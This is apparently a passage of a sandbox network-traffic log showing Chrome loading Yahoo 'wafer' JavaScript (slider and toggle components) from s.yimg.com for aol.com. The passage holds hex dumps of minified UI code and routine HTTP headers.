2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 5b 74 5d 3d 65 5b 74 5d 3b 72 65 74 75 72 6e 20 69 7d 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a Data Ascii: [t]=e[t];return i}return Array.from(e)}function c(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function d(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t\|\|"obj
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 3b 69 3c 74 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 69 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2e 6b 65 79 2c 6e 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6e 29 7b 72 65 74 75 72 6e 20 69 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 69 29 2c 6e 26 26 65 28 74 2c 6e 29 2c 74 7d 7d 28 29 2c 77 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 69 2c 6e 29 7b 6e 75 6c 6c 3d 3d 3d 74 26 26 28 74 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 Data Ascii: ;i<t.length;i++){var n=t[i];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,i,n){return i&&e(t.prototype,i),n&&e(t,n),t}}(),w=function e(t,i,n){null===t&&(t=Function.prototyp
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 72 20 6c 3d 64 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 7b 7d 2c 7b 7d 29 29 2c 75 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 62 65 68 61 76 69 6f 72 22 29 2c 66 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 74 61 72 67 65 74 22 29 2c 76 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 74 72 69 67 67 65 72 2d 77 66 2d 64 75 72 69 6e 67 2d 74 72 61 6e 73 69 74 69 6f 6e 22 29 2c 70 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 7a 2b 22 73 74 69 63 6b 69 6e 65 73 73 2d 6c 6f 63 61 6c 2d 73 74 6f 72 61 67 65 Data Ascii: r l=d(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,e,{},{})),u=e.getAttribute("data-wf-behavior"),f=e.getAttribute("data-wf-pagination-target"),v=e.getAttribute("data-wf-trigger-wf-during-transition"),p=e.getAttribute(z+"stickiness-local-storage
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 72 65 6e 3a 77 2c 68 61 73 41 75 74 6f 53 63 72 6f 6c 6c 45 6e 61 62 6c 65 64 3a 6b 2c 68 61 73 53 74 61 74 69 63 43 61 70 74 69 6f 6e 73 3a 53 2c 68 61 73 54 72 61 63 6b 69 6e 67 45 6e 61 62 6c 65 64 3a 50 2c 68 61 73 52 65 73 70 6f 6e 73 69 76 65 6e 65 73 73 45 6e 61 62 6c 65 64 3a 43 2c 72 69 67 68 74 45 64 67 65 50 61 64 64 69 6e 67 3a 41 2c 65 76 65 6e 45 64 67 65 50 61 64 64 69 6e 67 3a 4f 2c 65 64 67 65 47 75 74 74 65 72 3a 6a 2c 73 74 69 63 6b 69 6e 65 73 73 4c 6f 63 61 6c 53 74 6f 72 61 67 65 4b 65 79 3a 70 2c 73 74 69 63 6b 69 6e 65 73 73 43 6f 6f 6b 69 65 4e 61 6d 65 3a 67 2c 6d 61 78 53 69 62 6c 69 6e 67 73 50 65 72 53 69 64 65 3a 4d 61 74 68 2e 66 6c 6f 6f 72 28 77 2f 32 29 2c 70 6c 75 67 69 6e 73 3a 5b 5d 2c 74 72 61 63 6b 69 6e 67 3a 7b 72 Data Ascii: ren:w,hasAutoScrollEnabled:k,hasStaticCaptions:S,hasTrackingEnabled:P,hasResponsivenessEnabled:C,rightEdgePadding:A,evenEdgePadding:O,edgeGutter:j,stickinessLocalStorageKey:p,stickinessCookieName:g,maxSiblingsPerSide:Math.floor(w/2),plugins:[],tracking:{r
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 70 72 65 76 2d 62 74 6e 22 29 29 5b 30 5d 2c 73 6c 69 64 65 72 45 6c 65 6d 3a 5a 2c 73 6c 69 64 65 72 49 74 65 6d 73 44 61 74 61 4d 61 70 70 69 6e 67 3a 6e 65 77 20 4d 61 70 7d 29 3b 6c 2e 5f 75 74 69 6c 2e 73 6c 69 64 65 72 45 6c 65 6d 2e 63 68 69 6c 64 72 65 6e 2e 6c 65 6e 67 74 68 3c 31 26 26 28 6c 2e 75 70 64 61 74 65 45 6c 65 6d 56 69 73 62 69 6c 69 74 79 28 65 2c 21 31 29 2c 6c 2e 64 65 73 74 72 6f 79 28 29 29 2c 6c 2e 5f 73 74 61 74 65 3d 7b 64 69 73 61 62 6c 65 45 76 65 6e 74 48 61 6e 64 6c 65 72 73 3a 21 31 2c 68 61 73 42 65 65 6e 54 68 72 65 61 64 6d 69 6c 6c 65 64 3a 21 31 2c 73 6c 69 64 65 57 69 64 74 68 3a 6c 2e 5f 67 65 74 53 6c 69 64 65 57 69 64 74 68 28 29 2c 76 69 72 74 75 61 6c 43 6f 75 6e 74 65 72 3a 30 7d 2c 24 2e 73 6c 69 64 65 72 49 Data Ascii: prev-btn"))[0],sliderElem:Z,sliderItemsDataMapping:new Map});l._util.sliderElem.children.length<1&&(l.updateElemVisbility(e,!1),l.destroy()),l._state={disableEventHandlers:!1,hasBeenThreadmilled:!1,slideWidth:l._getSlideWidth(),virtualCounter:0},$.sliderI
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 69 6c 2e 68 61 73 41 75 74 6f 53 63 72 6f 6c 6c 45 6e 61 62 6c 65 64 26 26 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 75 67 69 6e 73 2e 70 75 73 68 28 6e 65 77 28 28 76 7c 7c 72 28 29 29 2e 64 65 66 61 75 6c 74 29 28 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 5f 75 74 69 6c 2e 68 61 73 53 74 61 74 69 63 43 61 70 74 69 6f 6e 73 26 26 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 75 67 69 6e 73 2e 70 75 73 68 28 6e 65 77 28 28 70 7c 7c 61 28 29 29 2e 64 65 66 61 75 6c 74 29 28 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 5f 75 74 69 6c 2e 68 61 73 54 72 61 63 6b 69 6e 67 45 6e 61 62 6c 65 64 26 26 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 75 67 69 6e 73 2e 70 75 73 68 28 6e 65 77 28 28 67 7c Data Ascii: il.hasAutoScrollEnabled&&this._util.plugins.push(new((v\|\|r()).default)(this._util.elem,this)),this._util.hasStaticCaptions&&this._util.plugins.push(new((p\|\|a()).default)(this._util.elem,this)),this._util.hasTrackingEnabled&&this._util.plugins.push(new((g\|
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 74 68 69 73 2e 75 70 64 61 74 65 57 69 64 74 68 28 29 7d 7d 2c 7b 6b 65 79 3a 22 75 70 64 61 74 65 57 69 64 74 68 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 73 6c 69 64 65 72 45 6c 65 6d 2c 69 3d 65 2e 73 6c 69 64 65 72 49 74 65 6d 73 2c 6e 3d 74 68 69 73 2e 5f 67 65 74 53 6c 69 64 65 57 69 64 74 68 28 29 3b 65 2e 63 6f 6e 74 61 69 6e 65 72 57 69 64 74 68 3d 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2e 77 69 64 74 68 2c 74 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 6e 2a 69 2e 6c 65 6e 67 74 68 2b 22 70 78 22 2c 74 68 69 73 2e 5f 73 65 74 54 72 61 6e 73 66 6f 72 6d 28 29 7d 7d 2c 7b 6b 65 79 3a 22 5f 67 65 74 54 72 61 6e 73 66 6f 72 6d 56 61 6c 75 65 Data Ascii: this.updateWidth()}},{key:"updateWidth",value:function(){var e=this._util,t=e.sliderElem,i=e.sliderItems,n=this._getSlideWidth();e.containerWidth=t.getBoundingClientRect().width,t.style.width=n*i.length+"px",this._setTransform()}},{key:"_getTransformValue
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 2e 5f 75 74 69 6c 2e 70 6c 75 67 69 6e 73 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 6f 6e 42 65 66 6f 72 65 53 6c 69 64 65 43 68 61 6e 67 65 28 65 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 5f 61 66 74 65 72 53 6c 69 64 65 43 68 61 6e 67 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 30 2c 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 3b 74 68 69 73 2e 70 72 65 46 65 74 63 68 28 29 2c 74 68 69 73 2e 5f 61 64 64 54 Data Ascii: ._util.plugins.forEach(function(t){t.onBeforeSlideChange(e)})}},{key:"_afterSlideChange",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.preFetch(),this._addT
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 70 72 65 46 65 74 63 68 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 2e 69 73 42 6f 74 29 66 6f 72 28 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 64 61 74 61 4c 69 73 74 2c 69 3d 65 2e 6d 61 78 53 69 62 6c 69 6e 67 73 50 65 72 53 69 64 65 2c 6e 3d 31 3b 6e 3c 69 2b 31 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 74 2e 67 65 74 46 6f 72 77 61 72 64 28 6e 29 2c 61 3d 74 2e 67 65 74 42 61 63 6b 77 61 72 64 28 6e 29 3b 72 26 26 74 68 69 73 2e Data Ascii: ct.getPrototypeOf(t.prototype),"removeEventListeners",this).call(this)}},{key:"preFetch",value:function(){if(!window.wafer.base.isBot)for(var e=this._util,t=e.dataList,i=e.maxSiblingsPerSide,n=1;n<i+1;n++){var r=t.getForward(n),a=t.getBackward(n);r&&this.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49777	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:37 UTC	531	OUT	GET /aaq/wf/wf-toggle-1.15.4.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:37 UTC	875	IN	HTTP/1.1 200 OK x-amz-id-2: pCskCyXeXPIlK/OYN24fn1pnq2bkINg510USzSTRHMPVl573Yg+TEqtX5UcG5NervV0/T9VhzB65C3rrEYkaST8aat5z6H6s x-amz-request-id: K88SKEAZ4JRYZVQG Date: Sun, 28 Apr 2024 17:11:10 GMT Last-Modified: Wed, 20 Apr 2022 09:12:23 GMT ETag: "277e3d31bf9ac6a0b7087285cbe8b7e1" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: I.icKfyBGCcao3hIqO0L0HJEsTytLF6Y Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 12937 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2179408 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 6f 67 67 6c 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 6f 67 67 6c 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-toggle",[],t):"object"==typeof exports?exports["wafer-toggle"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b Data Ascii: rototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(t,"__esModule",{value:!0});var a=function(){function e(e,t){
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 28 6e 29 7d 2c 63 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 66 3d 63 2e 63 6f 6e 73 74 61 6e 74 73 2c 64 3d 63 2e 75 74 69 6c 73 2c 76 3d 63 2e 57 61 66 65 72 42 61 73 65 43 6c 61 73 73 2c 68 3d 64 2e 62 69 6e 64 45 76 65 6e 74 2c 70 3d 64 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 2c 79 3d 64 2e 66 69 6e 64 41 6e 63 65 73 74 6f 72 2c 67 3d 64 2e 73 65 74 54 69 6d 65 6f 75 74 2c 6d 3d 64 2e 75 6e 62 69 6e 64 45 76 65 6e 74 2c 62 3d 66 2e 41 54 54 52 5f 50 52 45 46 49 58 2c 77 3d 5b 22 6b 65 79 22 5d 2c 5f 3d 5b 22 63 6c 69 63 6b 22 2c 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 22 6d 6f 75 73 65 45 6e 74 65 72 44 65 6c 61 79 22 2c 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 22 6d 6f 75 73 65 4c 65 61 76 65 44 65 6c 61 79 22 2c 22 6f 6e 4c Data Ascii: (n)},c=window.wafer,f=c.constants,d=c.utils,v=c.WaferBaseClass,h=d.bindEvent,p=d.convertNodeListToArray,y=d.findAncestor,g=d.setTimeout,m=d.unbindEvent,b=f.ATTR_PREFIX,w=["key"],_=["click","mouseenter","mouseEnterDelay","mouseleave","mouseLeaveDelay","onL
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 6e 58 3a 30 2c 73 74 61 72 74 58 3a 30 2c 73 74 61 72 74 59 3a 30 7d 2c 65 6c 65 6d 3a 65 2c 66 6f 63 75 73 53 65 6c 65 63 74 6f 72 3a 67 2c 66 6f 63 75 73 54 61 72 67 65 74 3a 6e 75 6c 6c 2c 70 72 65 76 65 6e 74 42 72 6f 77 73 65 72 44 65 66 61 75 6c 74 42 65 68 61 76 69 6f 72 3a 6e 75 6c 6c 3d 3d 3d 6c 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6c 3f 30 3a 4e 75 6d 62 65 72 28 6c 29 2c 70 72 65 76 65 6e 74 53 63 72 6f 6c 6c 3a 6e 75 6c 6c 3d 3d 3d 63 7c 7c 76 6f 69 64 20 30 3d 3d 3d 63 3f 30 3a 4e 75 6d 62 65 72 28 63 29 2c 73 65 74 46 6f 63 75 73 3a 6e 75 6c 6c 3d 3d 3d 70 7c 7c 76 6f 69 64 20 30 3d 3d 3d 70 3f 30 3a 4e 75 6d 62 65 72 28 70 29 2c 73 79 6e 63 44 65 6c 61 79 3a 6e 75 6c 6c 3d 3d 3d 66 7c 7c 76 6f 69 64 20 30 3d 3d 3d 66 3f 30 3a 4e 75 6d 62 65 72 Data Ascii: nX:0,startX:0,startY:0},elem:e,focusSelector:g,focusTarget:null,preventBrowserDefaultBehavior:null===l\|\|void 0===l?0:Number(l),preventScroll:null===c\|\|void 0===c?0:Number(c),setFocus:null===p\|\|void 0===p?0:Number(p),syncDelay:null===f\|\|void 0===f?0:Number
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 29 3a 74 68 69 73 2e 5f 73 74 61 74 65 2e 69 73 43 6c 69 63 6b 4f 75 74 73 69 64 65 3d 21 30 29 7d 7d 63 61 74 63 68 28 65 29 7b 6f 3d 21 30 2c 69 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 6e 26 26 73 2e 72 65 74 75 72 6e 26 26 73 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 6f 29 74 68 72 6f 77 20 69 7d 7d 7d 7d 7d 2c 7b 6b 65 79 3a 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 3b 6d 28 65 2c 22 74 6f 75 63 68 73 74 61 72 74 22 2c 74 68 69 73 2e 74 6f 75 63 68 73 74 61 72 74 29 2c 6d 28 65 2c 22 74 6f 75 63 68 65 6e 64 22 2c 74 68 69 73 2e 74 6f 75 63 68 65 6e 64 29 2c 6d 28 65 2c 22 74 6f 75 63 Data Ascii: ):this._state.isClickOutside=!0)}}catch(e){o=!0,i=e}finally{try{!n&&s.return&&s.return()}finally{if(o)throw i}}}}},{key:"removeEventListeners",value:function(){var e=this._util.elem;m(e,"touchstart",this.touchstart),m(e,"touchend",this.touchend),m(e,"touc
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 64 72 61 67 2c 72 3d 65 2e 74 6f 75 63 68 65 73 5b 30 5d 2c 6e 3d 72 2e 63 6c 69 65 6e 74 59 2c 6f 3d 72 2e 70 61 67 65 58 3b 74 2e 73 74 61 72 74 58 3d 6f 2c 74 2e 73 74 61 72 74 59 3d 6e 7d 7d 2c 7b 6b 65 79 3a 22 74 6f 75 63 68 65 6e 64 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 63 6c 65 61 72 44 72 61 67 28 29 7d 7d 2c 7b 6b 65 79 3a 22 74 6f 75 63 68 6d 6f 76 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 64 72 61 67 3b 74 2e 65 6e 64 58 3d 65 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 2c 74 2e 65 6e 64 59 3d 65 2e 74 6f 75 63 68 65 73 5b 30 5d 2e Data Ascii: lue:function(e){var t=this._util.drag,r=e.touches[0],n=r.clientY,o=r.pageX;t.startX=o,t.startY=n}},{key:"touchend",value:function(e){this.clearDrag()}},{key:"touchmove",value:function(e){var t=this._util.drag;t.endX=e.touches[0].pageX,t.endY=e.touches[0].
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 7d 29 2c 67 28 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 66 6f 63 75 73 28 79 29 2c 64 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 26 26 28 64 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 49 6e 64 65 78 22 2c 22 2d 31 22 29 2c 64 2e 66 6f 63 75 73 28 79 29 29 7d 2c 35 29 7d 6c 26 26 28 22 74 72 75 65 22 3d 3d 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 29 3f 28 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 22 66 61 6c 73 65 22 29 2c 66 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 63 29 29 3a 28 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 22 74 72 75 65 22 29 2c 66 2e Data Ascii: }),g(function(){d.focus(y),d!==document.activeElement&&(d.setAttribute("tabIndex","-1"),d.focus(y))},5)}l&&("true"===f.getAttribute("aria-expanded")?(f.setAttribute("aria-expanded","false"),f.classList.remove(c)):(f.setAttribute("aria-expanded","true"),f.
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 6e 28 65 29 7b 65 21 3d 3d 72 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 6c 29 7d 29 3b 65 6c 73 65 20 69 66 28 63 5b 66 5d 29 7b 76 61 72 20 6d 3d 63 2e 63 6f 6e 74 61 69 6e 73 28 6c 29 3b 74 2e 64 69 64 43 6f 6d 70 6c 65 74 65 28 6e 75 6c 6c 29 2c 28 22 74 6f 67 67 6c 65 22 3d 3d 3d 66 7c 7c 22 72 65 6d 6f 76 65 22 3d 3d 3d 66 26 26 6d 7c 7c 22 61 64 64 22 3d 3d 3d 66 26 26 21 6d 29 26 26 28 68 3f 67 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 65 78 65 63 75 74 65 41 63 74 69 6f 6e 28 65 2c 72 2c 69 2c 66 2c 6c 2c 76 2c 79 29 7d 2c 75 2c 74 29 3a 74 2e 65 78 65 63 75 74 65 41 63 74 69 6f 6e 28 65 2c 72 2c 69 2c 66 2c 6c 2c 76 2c 79 29 29 7d 7d 29 7d 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 67 65 74 54 61 72 67 65 74 73 22 2c 76 61 6c 75 65 3a Data Ascii: n(e){e!==r&&e.classList.remove(l)});else if(c[f]){var m=c.contains(l);t.didComplete(null),("toggle"===f\|\|"remove"===f&&m\|\|"add"===f&&!m)&&(h?g(function(){t.executeAction(e,r,i,f,l,v,y)},u,t):t.executeAction(e,r,i,f,l,v,y))}})})}}},{key:"getTargets",value:
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 3f 65 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 Data Ascii: new TypeError("Cannot call a class as a function")}function a(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t\|\|"object"!=typeof t&&"function"!=typeof t?e:t}function s(e,t){if("function"!=typeof t&&
